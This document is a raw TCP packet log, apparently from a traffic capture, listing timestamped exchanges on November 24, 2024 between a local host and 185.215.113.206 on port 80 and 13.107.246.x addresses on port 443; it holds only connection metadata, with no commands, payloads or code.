Nov 24, 2024 00:06:51.355693102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.355798960 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.355863094 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.356151104 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.356223106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.356266022 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.357027054 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.357115030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.357162952 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.357935905 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.358170986 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.358195066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.358237028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.358288050 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.358330011 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.359036922 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.359088898 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.359147072 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.359196901 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.359930992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.359982014 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.360049009 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.360093117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.360812902 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.360901117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.360913992 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.361298084 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.361673117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.361732960 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.361768007 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.361804962 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.362545013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.362618923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.362643957 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.362675905 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.363425970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.363486052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.363560915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.363600969 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.364305973 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.364391088 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.364412069 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.364428997 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.365194082 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.365247965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.365288019 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.365325928 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.366060972 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.366103888 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.366200924 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.366931915 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.366992950 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.367034912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.367074013 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.367820024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.367877960 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.367923975 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.368088961 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.368696928 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.368746042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.368786097 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.368885994 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.369601011 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.369647980 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.369672060 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.369720936 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.370456934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.370573044 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.370619059 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.371332884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.371385098 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.371504068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.371572971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.372195959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.372251987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.372276068 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.372400999 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.372464895 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.372495890 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.372529030 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.372540951 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.372596979 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.372596979 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.373087883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.373136044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.373172045 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.373291016 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.373981953 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.374114990 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.374171019 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.374829054 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.374892950 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.374946117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.375015020 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.375714064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.375787973 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.375818968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.375854015 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.376580954 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.376691103 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.376694918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.376982927 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.377463102 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.377509117 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.377573013 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.377629042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.378379107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.378436089 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.378480911 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.378520012 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.379213095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.379261971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.379302025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.379338026 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.380108118 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.380182981 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.380229950 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.380392075 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.380978107 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.381078959 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.381150007 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.381849051 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.381905079 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.381973982 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.382122993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.382735968 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.382849932 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.382863045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.382894993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.383634090 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.383645058 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.383692026 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.384548903 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.384659052 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.384690046 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.384720087 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.385364056 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.385422945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.385569096 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.385932922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.386240005 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.386286974 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.386295080 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.386338949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.387082100 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.389219999 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.389249086 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.389309883 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.389328003 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.389354944 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.389373064 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.389373064 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.408648014 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.408670902 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.408776999 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.408776999 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.408796072 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.408834934 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.475802898 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.475869894 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.475955009 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.476207972 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.476227045 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.476268053 CET	49882	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.476273060 CET	443	49882	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.479044914 CET	49892	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.479089022 CET	443	49892	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.479332924 CET	49892	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.479671001 CET	49892	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.479685068 CET	443	49892	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.480019093 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.480077028 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.480140924 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.480273008 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.480288029 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.480298042 CET	49883	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.480302095 CET	443	49883	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.482733011 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.482773066 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.482851982 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.483217001 CET	49893	443	192.168.2.6	13.107.246.63
Nov 24, 2024 00:06:51.483227015 CET	443	49893	13.107.246.63	192.168.2.6
Nov 24, 2024 00:06:51.487128973 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.487193108 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.487266064 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.487320900 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.487580061 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.487713099 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.487834930 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.487880945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.487929106 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.487970114 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.488610029 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.488661051 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.488703966 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.488847971 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.489496946 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.489547968 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.489610910 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.489654064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.490391970 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.490443945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.490461111 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.490502119 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.491244078 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.491293907 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.491362095 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.491405964 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.492130995 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.492181063 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.492224932 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.492353916 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.493010998 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.493072987 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.493136883 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.493200064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.493879080 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.493956089 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.494012117 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.494750977 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.494874001 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.494940042 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.495042086 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.495623112 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.495682955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.495739937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.495780945 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.496506929 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.496556044 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.496906996 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.496954918 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.497379065 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.497427940 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.497508049 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.497554064 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.498265028 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.498315096 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.498390913 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.498435974 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.499140978 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.499198914 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.499268055 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.499502897 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.500085115 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.500102043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.500231028 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.500900030 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.500951052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.501013041 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.501050949 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.501805067 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.501851082 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.501889944 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.501930952 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.502670050 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.502727985 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.502784967 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.502923965 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.503561020 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.503607035 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.503631115 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.503662109 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.545927048 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.545989037 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.546041965 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.546060085 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.546149015 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.546411037 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.562261105 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.562304020 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.562344074 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.562360048 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.562385082 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.562407017 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.566947937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.566999912 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.567141056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.567411900 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.567487955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.567544937 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.567595959 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.568208933 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.568270922 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.568409920 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.568465948 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.569068909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.569120884 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.569365025 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.569411039 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.569489956 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.569562912 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.570229053 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.570276976 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.570359945 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.570409060 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.571130037 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.571176052 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.571238995 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.571281910 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.572000980 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.572048903 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.572063923 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.572177887 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.572911024 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.572957993 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.572984934 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.573035955 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.573765039 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.573816061 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.573873043 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.573945045 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.574660063 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.574719906 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.574767113 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.574866056 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.575531006 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.575581074 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.575651884 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.575721025 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.576456070 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.576482058 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.576504946 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.576525927 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.576571941 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.576586962 CET	443	49879	13.107.246.40	192.168.2.6
Nov 24, 2024 00:06:51.576597929 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.576623917 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.576623917 CET	49879	443	192.168.2.6	13.107.246.40
Nov 24, 2024 00:06:51.576654911 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.577271938 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.577403069 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.577471018 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.578162909 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.578286886 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.578358889 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.579032898 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.579122066 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.579173088 CET	49818	80	192.168.2.6	185.215.113.206
Nov 24, 2024 00:06:51.579917908 CET	80	49818	185.215.113.206	192.168.2.6
Nov 24, 2024 00:06:51.579999924 CET	49818	80	192.168.2.6	185.215.113.206
